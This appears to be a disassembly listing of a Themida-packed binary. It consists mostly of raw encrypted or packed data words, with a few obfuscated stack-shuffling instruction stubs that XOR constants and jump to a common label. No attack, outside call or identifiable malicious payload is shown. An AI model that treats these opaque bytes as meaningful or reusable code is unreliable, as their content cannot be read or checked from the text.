		dd 0C9E4115Dh, 0E123CC81h, 0BC83C618h, 83BBE1A2h, 3A7DCFBCh
		dd 0B23D8C5Ah, 92E26B50h, 0DE2A4F7Ah, 0E02572B1h, 3218FF19h
		dd 0B1E12398h, 9F8C538Bh, 58450C53h, 8BBFDA09h,	58E12398h
		dd 94DB2732h, 5D7BB3CDh, 0E529140Eh, 80AB4F31h,	0F715F19Fh
		dd 0EA084F9Bh, 0E887F19Bh, 1A6CC4A7h, 7A749FD7h, 0CB1B5AACh
		dd 33AD9D84h, 183EE123h, 3178C8EDh, 0F3448351h,	0E5E83AEh
		dd 0AE0000C7h, 2333B793h, 22B34E1h, 0E70F7C1h, 84A9D40Ch
		dd 6D29F039h, 0E3338FADh, 15647CC9h, 0E0CD94CCh, 0DC144C95h
		dd 0AEF541FCh, 71511EE7h, 0D4AEE123h, 49BC75B6h, 57C43629h
		dd 92000000h, 0C9E4115Dh, 0E123CC81h, 3D043C62h, 23CC2874h
		dd 0F2D07E1h, 288C63CEh, 11D36h, 5DEB0000h, 11FEC50Eh
		dd 0B2B279C2h, 5E459B63h, 0C7F2401Eh, 450C51A2h, 0F9C00958h
		dd 0B279C00Ch, 8D1634F8h, 6BC7E5C1h, 6CB5001Ch,	47865434h
		dd 0D2ECB3FCh, 0EF3682A7h, 0FB4A5D0Fh, 0FA38D341h, 99B21F89h
		dd 0DB7801A7h, 15378A3h, 378DBDD8h, 655EE123h, 0F10BD219h
		dd 0CDBA81B9h, 0CD6E357Eh, 0B5DB9D7h, 0E12DE8C8h, 2F3CCAB7h
		dd 7DB59C3Fh, 377CC9B6h, 0E1335B70h, 9B56748Fh,	0EF15E123h
		dd 239BC208h, 15F247E1h, 5BDE8147h, 1769749Ah, 6D8BA9D4h
		dd 291F152Ch, 806B36h, 5D390000h, 1401C80Bh, 49819CC7h
		dd 1AE123CCh, 8FBBD6F4h, 5CE123CCh, 8937FE36h, 0E1338FADh
		dd 0B103BE9Eh, 0E3FE506Eh, 0E123CCE7h, 6D5D7884h, 0FEE123CCh
		dd 9475A0D8h, 4A1156A7h, 0C8092735h, 36288A79h,	6207h
		dd 0B4AD500h, 557590B9h, 16E123CCh, 0F1F1B8F0h,	23CCF4D6h
		dd 195177E1h, 3477C9EEh, 0DC2E6D6Dh, 8DB8D299h,	0AD11868h
		dd 3AA9C715h, 0CCFDCDE8h, 486EE123h, 63A6F81Dh,	0E5DD183h
		dd 0CC86C4DFh, 3F65E123h, 0EE404007h, 23CCF7D3h, 234E74E1h
		dd 23CC5522h, 0BAD8B2E1h, 288CB879h, 1C836h, 5D960000h
		dd 7EADF810h, 23CC6763h, 0A6DE04E1h, 0C211506Eh, 6D98B279h
		dd 0C539F8Ch, 0C3065845h, 7BC40FFCh, 1A38F8B4h,	0D9F7B791h
		dd 0CDFD186Ah, 9EE123CCh, 0DB284D78h, 71C5B696h, 0E9627D9Bh
		dd 7AE75AD1h, 54A08D54h, 0D5F2D0Dh, 14C8D8F2h, 3A658BE7h
		dd 0BB82C915h, 14C8A6F2h, 0CFED3BE7h, 0E02773h,	0EBB2F945h
		dd 0A46BB2FEh, 93EF0D03h, 96DD2D47h, 9D7DB5CFh,	5F9134FDh
		dd 0BD0F4E3Ch, 6E99B37Ah, 11834h, 0B4A0200h, 97B178BFh
		dd 0E7BD116Ch, 0FAB9AEC9h, 2932E75Ah, 83CF1B36h, 0D53E597Fh
		dd 0DC0F465Ah, 0E7D49BD3h, 0B974549Bh, 725F266Dh, 6FC1DF26h
		dd 14DB7654h, 0A4CFF5E7h, 0E2C22C3h, 18324D9Fh,	0CBE714DBh
		dd 5E6C87A5h, 0DE714DBh, 4B97BCE7h, 0AD842404h,	0D33C5FA3h
		dd 2Ch,	0B4F94685h, 0DE276D89h,	53C7E200h, 90E123CDh, 0F0DAA36Ah
		dd 5CE123CCh, 9FE87A98h, 9288A3C1h, 0D1E123CDh,	920ECBABh
		dd 0B6000000h, 0DD2AD327h, 0F0426098h, 193461B1h, 0E123CC31h
		dd 39548CB2h, 0CEEBC832h, 72739E34h, 0E75A0B05h, 5441082Eh
		dd 26E1C108h, 3CC93DAh,	0E71435BCh, 95F10F5Dh, 31220249h
		dd 0CEE907DDh, 0E155ED54h, 18656BBAh, 480C7414h, 7FAAF13Dh
		dd 0CAB77EA4h, 0DA19377Eh, 3A1B468Fh, 2E55A47Eh, 0B2AD0F32h
		dd 203E5C87h, 0DB2272B1h, 74CFFA14h, 0E1267720h, 0CBFF1A1Ah
		dd 98E12AFDh, 0E4023A72h, 0E40F54A5h, 241191ACh, 3675E76Bh
		dd 0BFD9A0E5h, 0B393B994h, 0FDD32701h, 0E53A0DFh, 1E2C4747h
		dd 0CDE123CCh, 0C446FA7h, 621571F1h, 0F44695E7h, 65474571h
		dd 9A936E99h, 0D1C204Ah, 0BB28E115h, 97844B83h,	5624044Bh
		dd 474D7207h, 68936149h, 0E9B0F743h, 0A0722D20h, 0C1DFBB45h
		dd 0F2D21965h, 316FD524h, 0E50B14CEh, 99B40428h, 1C47447Dh
		dd 9D64ABF7h, 531A5FB0h, 5DB9D797h, 2FEACA11h, 0E6D59CE3h
		dd 15h,	0E2FB4A8Eh, 9FC59757h, 0C1A749Fh, 3079F9BDh, 3F6A2C72h
		dd 0C4175D23h, 7DC410FDh, 3279C9B6h, 0EA337E6Bh, 0A1E43623h
		dd 589BEDDAh, 0E53A491h, 0C80D5A47h, 7CC51401h,	5451C3B5h
		dd 4C18159h, 83000000h,	0C8704E9h, 89565C24h, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 243C895Ch, 7A68h, 241C8900h
		dd 48B5BE56h, 0F789063Eh, 8124348Bh, 4C4h, 4EC8300h, 81242489h
		dd 42404h, 575B0000h, 8240481h,	8F30CE42h, 0BD550843h
		dd 7770314Fh, 6FC6CD81h, 0F5811E1Fh, 203D4D7Dh,	0F703EDC1h
		dd 81D5F7DDh, 0E5FBB3C5h, 86B2924h, 241C8B5Dh, 81E18951h
		dd 4C1h, 4C18300h, 5C240C87h, 5F2434FFh, 4C481h, 73E90000h
		dd 16FFF930h, 1D4AB1CCh, 0A7CA855Fh, 0D04EE4ECh, 4BB8F6B0h
		dd 3063E4Dh, 27E0FFC5h,	266C1ACDh, 0E10C0968h, 0CF38C30Ah
		dd 0CD6BC3F3h, 36022A8Bh, 7A9AB6h, 98311D1Bh, 0FF3E7BA1h
		dd 0A8689BFEh, 6A743F7Eh, 0E16B155Bh, 0EB0918D6h, 506919D7h
		dd 642F8A4Ah, 704EFF4Dh, 9315A795h, 5373F71Ah, 0EF035A41h
		dd 0D36500BDh, 0D85F0275h, 0F0320C0Ah, 0EB410631h, 2F4EA04h
		dd 557E91Eh, 0B4FA0000h, 77C68161h, 46934E2Eh, 15662101h
		dd 0E335F0D0h, 2F15C0A0h, 16F6398Bh, 0E7C7105Bh, 0B595DC2Ch
		dd 8767AEFAh, 0C8021D03h, 9BE71D82h, 115D7A6Eh,	2B63ACF7h
		dd 0E2257764h, 735772C4h, 0F0E123CCh, 0EAA59FCAh, 9090579Eh
		dd 97E80051h, 39718B52h, 839DE90Eh, 102AF136h, 0BC5DDDF5h
		dd 144C15B0h, 40CFA7F6h, 0D5501932h, 8DDCC9AAh,	17DE2571h
		dd 50FEC5FDh, 98E75674h, 95F3FD0Eh, 173C6782h, 276684CBh
		dd 0B3CD94DBh, 83D38E88h, 51A15C3Ch, 0F143430Ah, 238DF4D6h
		dd 99E22DE1h, 0D1F7B8D2h, 8337AC6h, 314F98E3h, 305BA2F2h
		dd 0B5D3934Fh, 9DEF0959h, 8742225Ah, 642DF43Bh,	0E1238D1Bh
		dd 8DFC1AF4h, 91BC014Eh, 28CDAA87h, 8ED636h, 5DA40000h
		dd 3A03CA11h, 0E123CC6Eh, 4696D5C9h, 0FF4B38FFh, 626580B8h
		dd 3D161BF4h, 7F9DBBE6h, 292CF33Eh, 223D8F36h, 0E1236028h
		dd 8918B2BBh, 0B5CF3BF1h, 0DE27727Dh, 98D2FD17h, 1, 0C50E5D66h
		dd 83AFFEFEh, 0F4398665h, 72A796D9h, 8AD32247h,	3284C3C3h
		dd 0E30E28EFh, 61286DBEh, 1BE22774h, 0D097DE2Eh, 0AB345216h
		dd 59AAE9DFh, 8334D14h,	2170CCEAh, 0F13DF8D8h, 0E4A1A9C4h
		dd 1C42E123h, 0E73604E4h, 89C0A739h, 1E3A6572h,	1C80B5Dh
		dd 5E7CC514h, 0CCD9F10Ch, 0F040E123h, 97C2E8A9h, 11F15B6h
		dd 0F21053A5h, 0C08739A3h, 0C00CA107h, 0E5364179h
		dd 94BFD9A0h, 4C93DF9Ah, 64B9885h, 0B0022A3Fh, 23AEB595h
		dd 59A0ECE1h, 91B77892h, 29F03586h, 0A8C6E40Fh,	28ECDA67h
		dd 91A636h, 5D740000h, 8816E50Bh, 190543E7h, 0E02D1AE1h
		dd 46537BC8h, 0CCC4B377h, 1919E018h, 235CCCFEh,	41799FE1h
		dd 9E944209h, 505BF94Fh, 0D702AB2Ah, 0ED3F9BB9h, 1F3A8CAAh
		dd 0E123D22Bh, 6D6792B8h, 561D60B2h, 0CD31869h,	8ACBE9F7h
		dd 3628A8B7h, 62C9h, 0F84A9700h, 23CCEDDDh, 0C40621E1h
		dd 0A7E123CCh, 6F9AC081h, 97B5F84Ah, 0A2C55948h, 4393428Ah
		dd 0E31B35FCh, 9AEAD7B8h, 0A9F63553h, 0C867637Eh, 0DE04E123h
		dd 0A59A7BA6h, 8BDD3957h, 5DB66848h, 86C4DF0Eh,	65E123CCh
		dd 4040073Fh, 3E69B201h, 23CC703Dh, 0D7F5CFE1h,	288C9B96h
		dd 1E536h, 5DB30000h, 59A6E510h, 4C334D14h, 0E123CC7Eh
		dd 450C53A3h, 0C446A2Bh, 0C50C5845h, 648242FEh,	9676BB08h
		dd 0F53E89C8h, 8EE9142Eh, 2B46643Ah, 0E75AD19Eh, 7360274Dh
		dd 4500E027h, 758FDFF9h, 0FE18DF24h, 0ADE5FFC6h, 0C8531DE6h
		dd 1866E714h, 0B529EFAh, 0DD24702Bh, 96DD2916h,	0DF1E2ECFh
		dd 6C864D92h, 5CC0F61h,	84A2C0EBh, 7795DC28h, 79A4ED38h
		dd 9052DF7Fh, 3D2E3C5Fh, 0FC000001h, 0EDDDF84Ah, 7EE123CCh
		dd 7ED22D58h, 7E6F8AA8h, 0F5E75AFAh, 0CF1B08CFh, 0FD186A88h
		dd 0E714E2CDh, 0F5BC0554h, 0C9F41ADBh, 81C814CFh, 3A81CDBAh
		dd 83C2D273h, 0A7C5F037h, 8EDB1A89h, 3D688249h,	0A585CC18h
		dd 54C98D7h, 0EB06243Eh, 0E714E2DFh, 313B668Ch,	3C5FBB00h
		dd 4180h, 0DE274E00h, 3E90E200h, 23CC2723h, 739EC4E1h
		dd 23CD8872h, 0E42F7EE1h, 66671DF4h, 0BE835D56h, 0CC0408E8h
		dd 0D9A0C6A1h, 23703A10h, 0B0CE92E1h, 0D9F7D51Eh, 23715CBEh
		dd 89698FE1h, 9FCCh, 0D3277400h, 50A0DFFDh, 54A6DE09h
		dd 0CCE3E702h, 7480E123h, 23CC7159h, 94CCF2E1h,	0E43F6869h
		dd 3E64E75Ah, 113E8A77h, 14DBD4F6h, 0BB004DE7h,	0BC9CD4FAh
		dd 0A76EB501h, 14DA97DEh, 163482E7h, 0D01968A7h, 0ED3480A5h
		dd 0F2C81C0Dh, 0C47B9D4h, 0A39CE155h, 2D470E51h, 0F5412EF5h
		dd 233E90AEh, 0E12A9527h, 92739EC4h, 71BDFCD6h,	1E49632Ah
		dd 0FC50E200h, 0BED0826h, 3E76B42h, 0DBB496B1h,	1137E714h
		dd 0C7E50BE6h, 0C9F43D88h, 5DAF01CFh, 14DB0842h, 0CEB5DBE7h
		dd 0E714DBFCh, 21E496Fh, 0DE2AD327h, 26415F97h,	0E7621BF2h
		dd 0FFCC3E9h, 0E19C7CC3h, 4307B95h, 0D9D080EBh,	16DD1588h
		dd 34FDC4FCh, 0FF5E51B3h, 0C723411Dh, 8654347Bh, 19701037h
		dd 86A85CEh, 84A9D480h,	3D2AF138h, 4A89A7ECh, 0D4EEB5F8h
		dd 4C0CC8A9h, 5986D22Eh, 218F0C3Eh, 81B9DFFFh, 809AE6A1h
		dd 2A27EE33h, 0B9647B9Bh, 0B5ED25C5h, 0DFFEEh, 28A70000h
		dd 9DADC81Ah, 4EE123CCh, 5DE1FD28h, 10FDC417h, 0C9B67DC4h
		dd 7E6B3279h, 3623EA33h, 0EDDAA1E4h, 0A491589Bh, 5A470E53h
		dd 1401C80Dh, 0C3B57CC5h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 68242C89h, 7AD4h, 50243C89h,	405E089h, 83000000h, 48704E8h
		dd 1C895C24h, 30BE5624h, 812C792Ah, 5D2565F6h, 2FBF5736h
		dd 47466619h, 7AAFF781h, 814F2998h, 41503EFh, 9BC78107h
		dd 31B31FF2h, 0F7895FFEh, 1C8B545Eh, 4C48124h, 51000000h
		dd 4B89F989h, 240C8B08h, 8B04C483h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		dw 4D54h
		dd 5329B8ACh, 0C503063Eh, 20CCE0FFh, 71A0156h, 0DB9C6C15h
		dd 0A5284C67h, 3E8F27BBh, 0F3756ED3h, 0FC846A5Ah, 0F4A58D7h
		dd 0A5727C8Fh, 0E7A85F37h, 0F6C72F19h, 416F6F89h, 50761075h
		dd 419A6222h, 7ABD190Dh, 3D6D1139h, 274717CEh, 2AC3AC7h
		dd 0A01D50E6h, 0F1811ACBh, 0E3FF1AF5h, 0DDB6777h, 45AF210Fh
		dd 7492316Dh, 0C06F3CD7h, 6D4B67C2h, 4E747BCCh,	0DFCA3C5Dh
		dd 471067B4h, 8BE2175Eh, 24BB497Ch, 5ED47095h, 8D8D5E80h
		dd 63E5508h, 0DE9h, 9C5F1E00h, 7349FF7Fh, 9793F4A9h, 9D8BE945h
		dd 6371F29h, 18758D89h,	85C70637h, 6371195h, 62ACh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 3FC35343h, 339F5CBh
		dd 0E68166F2h, 85C7EE07h, 6370F81h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 9EC35242h
		dd 0F78F3A45h, 0D219D89h, 0C38B0637h, 1189B5FFh, 6A0637h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0ED9D09C3h, 958BF018h, 6371941h, 129195FFh, 858B0637h
		dd 6371881h, 95FF006Ah
		db 19h,	32h, 37h
byte_5B2157	db 6			; DATA XREF: Themida_:0053E048o
		dd 38EBC08Bh, 1397E1DEh, 46CF91Ah, 0D7068971h, 0D38964C7h
		dd 426D66F2h, 9F9A8834h, 0AF3DE51h, 0EFF72AFFh,	8B17B017h
		dd 419464A4h, 0CB95C06Fh, 0ECF67B0Bh, 38971045h, 2C140B66h
		dd 0CE1504EBh, 0BE92003h, 0D000005h, 0D99474C7h, 0A661418Ah
		dd 79341459h, 4803E328h, 28D3B3F6h, 94C9E58h, 0DA236E29h
		dd 0A8EF3FFAh, 7AC10DC8h, 1530169Ah, 0E71D9935h, 5D9589B6h
		dd 1603CA11h, 146381C4h, 57A4DBA7h, 3ACEF712h, 0B6716B96h
		dd 6F5C236Ah, 2815DC23h, 1BC990D9h, 79C5213Fh, 47975232h
		dd 3522000h, 0B7D2E5E4h, 0E123AC93h, 140F2A50h,	80A5D066h
		dd 80C51630h, 49948148h, 0BD7D3900h, 0ACF3439Fh, 7EC511CCh
		dd 0D1A1EEB7h, 0A47EE123h, 0A9EC4586h, 6D943628h, 62000000h
		dd 79BE0B4Ah, 2D76C5B2h, 0E9144C66h, 6A3178C4h,	23CCD7A1h
		dd 5BA2F2E1h, 1255A794h, 0EA08564Bh, 9CBA9461h,	288CD65Bh
		dd 1AA36h, 4A780000h, 434656FBh, 446F0DADh, 0C087D01Fh
		dd 743B84D3h, 530E3687h, 0C1A62CCFh, 99DE2B36h,	0B980B8D2h
		dd 0B5112F0Bh, 823D1D66h, 410FEF36h, 0AE07D5F2h, 6D7E138Dh
		dd 507A1E77h, 0D7F31E56h, 0C7E20B5Dh, 0E123CC83h, 3B023A60h
		dd 0EFB6FF4Eh, 0DE3A584Eh, 248638Ch, 97E123CCh,	193F0047h
		dd 2271C3E1h, 7E1A7221h, 67634AF9h, 4E123A7h, 0FEB9B3DEh
		dd 0B7A46BB2h, 0BD00526Ah, 86D1BE85h, 3A89763Dh, 0A07C2AF1h
		dd 92DB2682h, 4679B1CBh, 68D91A38h, 1A3628F5h, 0B99DADC8h
		dd 284EE123h, 85C3FDh, 4A910000h, 4873BC0Bh, 6FBBD123h
		dd 0F476128h, 0C90E5B48h, 0D51C6CABh, 3129110Eh, 0CFE3020h
		dd 1AC8A9D4h, 72C4203Eh, 7C2112Fh, 4D670071h, 7538E4FFh
		dd 11BE7C1h, 0CF21DCD6h, 11C6E8Ch, 0E12301C9h, 6849749Ah
		dd 1EE52A7Bh, 748FE109h, 0E1230156h, 97E4EF15h,	46718B52h
		dd 78C90A28h, 8362957h,	50h, 0C80B5DD6h, 7DC41401h, 5573C1B6h
		dd 4664A7F9h, 468953F7h, 606BBCB7h, 0E701C811h,	5D10C2BCh
		dd 0FEFEC50Eh, 2064F9AFh, 0A8C289D0h, 0D35538Dh, 294E1E2h
		dd 0EA35E123h, 9EEDDAA1h, 4E08E55h, 0B6905DE6h,	5ADA5798h
		dd 1A63629h, 74000000h,	96E8105Dh, 97DD6BD6h, 0A390578Fh
		dd 8D491057h, 653AFCDh,	0D413E1C1h, 0D91C6E88h,	0C71B76A1h
		dd 13B8D3F1h, 0D0E75AE4h, 0FC4D8CAAh, 0ABD6F0B7h, 4A91DDCAh
		dd 105D9C6Ah, 0E90404CBh, 0E714FDE1h, 0F9245C82h, 7A4188D4h
		dd 14FDE7B1h, 8EACFAE7h, 9EB9E632h, 0E714FDACh,	1E1193Fh
		dd 0ECB3FA46h, 0A56CB3FFh, 66B5F404h, 0EFB6FF4Ah, 0BCD69DD5h
		dd 0E6557391h, 6AC47797h, 0F01BCF4Fh, 58387FCBh, 601C79B8h
		dd 138073Ch, 7AB90000h,	0A0BCE72Eh, 0FC17D327h,	0E123CCCEh
		dd 0CC252540h, 0A0C6E123h, 6381B9DFh, 5AFA2748h, 0CF96BCE7h
		dd 6F4F96E2h, 0CF1662A1h, 0DDED0808h, 8EE714E2h, 0E0053068h
		dd 99864D94h, 9E3F064Dh, 0E22E8AA8h, 161BBB9Bh,	6A3C5FBBh
		dd 54h,	0DE2738h, 0CD53C7E2h, 6A90E123h, 0CCF0DAA3h, 7E5CE123h
		dd 0E5ACF33Fh, 6482A0CBh, 8DAB89D2h, 23CD8872h,	0ED2F7EE1h
		dd 0EA27240Fh, 404D9CB7h, 0AFAC533Eh, 65B0A984h, 203B551Ch
		dd 30BB51C6h, 0B494CC93h, 517994E6h, 12E1239Ch,	979AC1ECh
		dd 42000000h, 0DFFDD327h, 0A5274FA0h, 0DFAC5C07h, 0E51D4880h
		dd 0E3C74493h, 0BC0A2034h, 59E79091h, 0E60CE75Ah, 9FE6321Fh
		dd 67B2F1BFh, 82CEF31Eh, 0E4AB743Bh, 0B5E71467h, 0A1ED4967h
		dd 35897A5Ah, 0E726415Fh, 4E15588h, 2467B9F8h, 6E5C435Dh
		dd 0FDE12A33h, 0EBD89FD7h, 0A491589Fh, 4A4A1158h, 2A331B2Fh
		dd 97A2C8E1h, 9AE32E46h, 0BA81B9D3h, 0D05977C5h, 7DCD1CF6h
		dd 1EF6CC0Eh, 85BD0253h, 8C1E3C5Ah, 29446238h, 0E76BE4E2h
		dd 6BBDDB01h, 145F7A50h, 98C3E9E7h, 0D327EC9Eh,	4E8DDFFDh
		dd 8D8EB9FCh, 0E762227Eh, 1E68646Dh, 1DA64311h,	0E5311EE5h
		dd 0B703BE9Eh, 0E5005270h, 0E71DE9E5h, 0FA418D86h, 0EDB697C2h
		dd 15F4478h, 92EE0CE8h,	511FFF46h, 2AEB7102h, 1540ECA4h
		dd 965DA4F0h, 0F54058A9h, 2A9FABC6h, 264CC120h,	0ABC8D3EEh
		dd 0FBBAE131h, 6640FCC3h, 6893DC27h, 84D02C4Ah,	0BFD01F3Dh
		dd 0E41B94DBh, 13E8E2FDh, 557BC120h, 3DF8F21Dh,	0F4E3AAF1h
		dd 3, 5D36289Ch, 10FDC417h, 0C9B67DC4h,	7E6B3279h, 3623EA33h
		dd 0EDDAA1E4h, 0A491589Bh, 5A470E53h, 1401C80Dh, 0C3B57CC5h
		dd 81E18951h, 4C1h, 4E98300h, 8B240C87h
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	esi
		mov	esi, 279F6509h
		mov	eax, 21A13059h
		xor	eax, esi
		pop	esi
		mov	esi, eax
		pop	eax
		push	2339h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	edi
		push	edx
		mov	edx, esi
		mov	edi, edx
		pop	edx
		mov	[edx+8], edi
		pop	edi
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		dw 8801h
		dd 0D9B89B41h, 3063E59h, 11E0FFC5h, 21166823h, 0D551AEDh
		dd 1E662FF1h, 6A5D0A5Eh, 70CE3B9h, 0A308B30h, 7B1ADFE4h
		dd 5705CC6Ch, 54293D9Dh, 0F3010E8Ah, 9827BD46h,	781CC2AAh
		dd 1878D279h, 954537B9h, 537F8214h, 931D18Bh, 9671AE5Bh
		dd 7F482022h, 904FB44h,	1A35445Fh, 37385BAEh, 0EB7C9C70h
		dd 437EB04h, 59AE91Ah, 50960000h, 13621DFDh, 0E22FEACAh
		dd 0B102BD9Dh, 7FD18C6Ch, 0D3B15C3Ch, 0B292D527h, 8363ACF7h
		dd 513178C8h, 23034A96h, 0AC9EB99Fh, 3FE71D96h,	115D1E12h
		dd 9B62A5F7h, 82824981h, 83AEF143h, 0E9C90C5Eh,	0D49BE22Eh
		dd 8D549BE7h, 410851A0h, 3D99B793h, 0FCAAAF1h, 0CA9878BFh
		dd 0D4263E8Bh, 78B0CA91h, 476C97B1h, 5392B0F7h,	0B596C106h
		dd 6D347DC8h, 77D3F1B1h, 4500E027h, 22EBB2F9h, 0E123CC55h
		dd 18DF2274h, 0CCCDFD18h, 789EE123h, 12D9226Dh,	0ED769458h
		dd 0E7284620h, 36288C4Ah, 64A7F938h, 0B2FF39h, 5DCD0000h
		dd 79A8F711h, 23CC6C5Eh, 0A1D9FFE1h, 63A2A269h,	0EA04CB14h
		dd 0CCF2BEBFh, 594DE123h, 62B2C81Ah, 23A541Bh, 0D8F6213Bh
		dd 8CB879BAh, 8BCA3628h, 92CCF740h, 1, 0E20E5D60h, 76C7CBBEh
		dd 35506A31h, 0DE1655CAh, 92DB2A17h, 488DDECBh,	0BF03DB2Ah
		dd 0D07D0CF6h, 53073C5h, 0D1EB3724h, 3A013982h,	0F0B7FC4Dh
		dd 68FADFBh, 0B305443Ah, 8EA9A970h, 0E1234ABCh,	0A6D1092Fh
		dd 0BCFB6A88h, 4124446Ah, 0E39F1915h, 0A8F7E4ABh, 467E985Fh
		dd 5EA7F61Bh, 4A77C37Eh, 23E41B2Fh, 97A2C8E1h, 1F390047h
		dd 0EA3907E7h, 21A078E7h, 0B6D2FD65h, 1C80B5Dh,	0B57CC514h
		dd 91001E14h, 92BD0052h, 0F8D81B6Dh, 0E3AAF13Dh, 9D64A9F6h
		dd 0F30E6088h, 0E123CCD7h, 44B9B94h, 2C6FC1CCh,	84C5E301h
		dd 36288ABDh, 54C3h, 0B4A9100h,	284D78BFh, 0DFCC93D6h
		dd 0D8864D92h, 1D6FDEFCh, 23CCC802h, 27233EE1h,	0C4E123CCh
		dd 8CB7DD9Eh, 0E4EF1567h, 0C47B9DCCh, 823D1D55h, 3926ED30h
		dd 0C7DCA3E8h, 0E75A9BB9h, 99362910h, 32h, 0C80B5D67h
		dd 7DC41401h, 5573C1B6h, 8464A7F9h, 0C50E5DD2h,	103A55A7h
		dd 0D3E123CCh, 0D8A182ADh, 0E123CC8Fh, 2F708E68h, 36288D02h
		dd 17Eh, 105D4C00h, 0CB1704CBh,	0E71F64B1h, 86A46420h
		dd 74C5DD2Ah, 8CC40D5Ch, 4386D8C5h, 0F22A627Ch,	636782D4h
		dd 0E123CCh, 0C4B5AFDAh, 2A7C9A70h, 0CC8DBDD8h,	385EE123h
		dd 0D1BF0C0Dh, 62CE75Ah, 97F03F3Fh, 1CCE6C13h, 24E739Eh
		dd 0D420DBBBh, 0B3FDC68Dh, 4EE7140Ah, 2EFB6FFh,	84F9BB7h
		dd 726809D0h, 65ACF854h, 394C849Eh, 0FF4692D1h,	2998B6D4h
		dd 2B569FEAh, 4E8DBA06h, 0D9F3BA03h, 140AD8F2h,	2D658BE7h
		dd 0FF46924Dh, 0CBE63838h, 0E7140AFFh, 0DC23736Ch, 0B8C3FB15h
		dd 405A2168h, 5DA4F015h, 1457A996h, 1913504Dh, 2962BDE8h
		dd 0C087CE1Eh, 673F88D3h, 3DFC85A3h, 6E89DB2Dh,	0E7146A5Ch
		dd 0C802E90Fh, 9BE7146Ah, 76275A75h, 0A9C7CD20h, 0E642607Eh
		dd 635809Ah, 1432DFEBh,	2E668CE7h, 0EF324D67h, 0ED842856h
		dd 0A8482860h, 3C607389h, 130F7h, 0D327C500h, 0A3C4DFFDh
		dd 38E75AFAh, 0FC4B4B12h, 1856C7A5h, 94B9E40Ch,	0C5DD2E48h
		dd 506A317Ah, 4500E018h, 213CFF9h, 199460E6h, 3F5AE18Eh
		dd 5088C96Ch, 9509C89h,	8DABA142h, 4C93DF1Eh, 69B0FC21h
		dd 8648E989h, 6F383C60h, 0EA000000h, 1F2B4698h,	0CCE71BCAh
		dd 0CA8BBFA6h, 3258E71Bh, 0DE27EB07h, 57A3E200h, 112F4910h
		dd 23CCD4F6h, 467197E1h, 1A6DBC0Eh, 561DF32Dh, 47B3B4DFh
		dd 0A4E12354h, 78B7B77Eh, 0E5E5002Bh, 86E12355h, 0FCFD2860h
		dd 0E12355CEh, 0F5BC0353h, 0AA71B808h, 850E2CF0h, 39CBE9ADh
		dd 0B5F412F0h, 0BEF6216Ah, 235477A3h, 6E4E74E1h, 74B1h
		dd 0D3275900h, 0DBC4DFFDh, 0E75AE4h, 0A06DBCDAh, 0F3B5685h
		dd 0DCE7148Bh, 6AB79BB6h, 561D60B2h, 0F8D9043Ch, 9878BF0Bh
		dd 834A91DDh, 1411EBBAh, 3A58A6E7h, 287892DEh, 0D8C9A9E1h
		dd 9DADC884h, 4EE71410h, 283DD145h, 2860D284h, 29B7D2F0h
		dd 0BAE15533h, 94E0CD94h, 0ACA864Dh, 5D065AECh,	60A5F612h
		dd 0F477F99h, 694ED6F1h, 241DE76Bh, 74548CD5h, 0C00B4AC2h
		dd 6B96B077h, 0C8E6BC10h, 0D2223E89h, 72AAC48Bh, 6CF40F47h
		dd 0FFE76227h, 0AC73BA06h, 71597492h, 0F2E71D96h, 377694CCh
		dd 9778A3ECh, 0F9445EAAh, 0B4CFE9B0h, 0E8740487h, 5C3C74A6h
		dd 470E55A1h, 604B697Eh, 0FD1BF7FBh, 2E0E55A1h,	0C2E02773h
		dd 0C4EF3883h, 59A4E3E3h, 6FA7EC3Dh, 236CBBA8h,	0DF0A425Ch
		dd 62469BAh, 682F78C7h,	8642234Eh, 0D71C6DACh, 14708EACh
		dd 0E6A181C8h, 0CC84709Ah, 0DF130D7Dh, 22F1E0A7h, 7D000000h
		dd 783A102Bh, 314CFB27h, 0FB277819h, 0BDE3A4CAh, 0B4A7692h
		dd 557590B9h, 16E123CCh, 338DB8F0h, 0C4175D41h,	7DC410FDh
		dd 3279C9B6h, 0EA337E6Bh, 0A1E43623h, 589BEDDAh, 0E53A491h
		dd 0C80D5A47h, 7CC51401h, 8951C3B5h, 4C181E1h, 83000000h
		dd 0C8704E9h, 24248B24h, 81E68956h, 4C6h, 4EE8100h, 87000000h
		dd 895C2434h, 8952240Ch, 4C281E2h, 83000000h, 148704EAh
		dd 34895C24h, 11BD5524h, 0B940E750h, 0C5570AB6h, 10CDC181h
		dd 0E9010AFEh, 10CDE981h, 545D0AFEh, 8124348Bh,	4C4h, 0CA895200h
		dd 8B085689h, 0C4812414h, 4, 5024348Bh,	405E089h, 5000000h
		dd 4, 5C240487h, 592434FFh, 4C481h, 0FFE90000h,	56FFF91Dh
		dd 0D78D38Fh, 3E5FCBB8h, 0FFC50306h, 6CE41CE0h,	44EFE21Bh
		dd 8BD04F52h, 0A3D0163Ch, 0C45CE72Fh, 0E87FF15Ch, 4B187435h
		dd 35FDE855h, 0AE10E13Bh, 7B457922h, 6CECE821h,	0BE7D8C76h
		dd 3365381Fh, 7648577h,	5A953D43h, 0AE7CAC30h, 7ECE7336h
		dd 0E310A268h, 2CFA256Bh, 3A32BA67h, 0D27A5D78h, 9BD8E82Fh
		dd 0E204EB60h, 0E905F5A4h, 4C4h, 17F74A90h, 0E4C40D5Ch
